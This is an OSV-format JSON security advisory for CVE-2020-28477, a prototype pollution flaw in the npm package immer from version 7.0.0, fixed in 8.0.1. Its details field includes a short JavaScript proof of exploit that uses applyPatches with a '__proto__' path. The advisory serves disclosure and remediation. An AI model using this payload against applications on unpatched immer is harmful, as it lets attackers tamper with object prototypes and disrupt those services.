原始 OSV JSON
{
"id": "GHSA-9qmh-276g-x5pj",
"aliases": [
"CVE-2020-28477"
],
"details": "## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: 'add', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: 'replace', path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.",
"summary": "Prototype Pollution in immer",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "8.0.1"
}
]
}
],
"package": {
"name": "immer",
"ecosystem": "npm"
}
}
],
"modified": "2024-04-25T22:17:51Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}
],
"published": "2021-01-20T21:27:56Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28477",
"type": "ADVISORY"
},
{
"url": "https://github.com/immerjs/immer/issues/738",
"type": "WEB"
},
{
"url": "https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5",
"type": "WEB"
},
{
"url": "https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JS-IMMER-1019369",
"type": "WEB"
},
{
"url": "https://www.npmjs.com/package/immer",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-471"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": "2021-01-19T11:15:00Z",
"github_reviewed_at": "2021-01-20T19:37:58Z"
}
}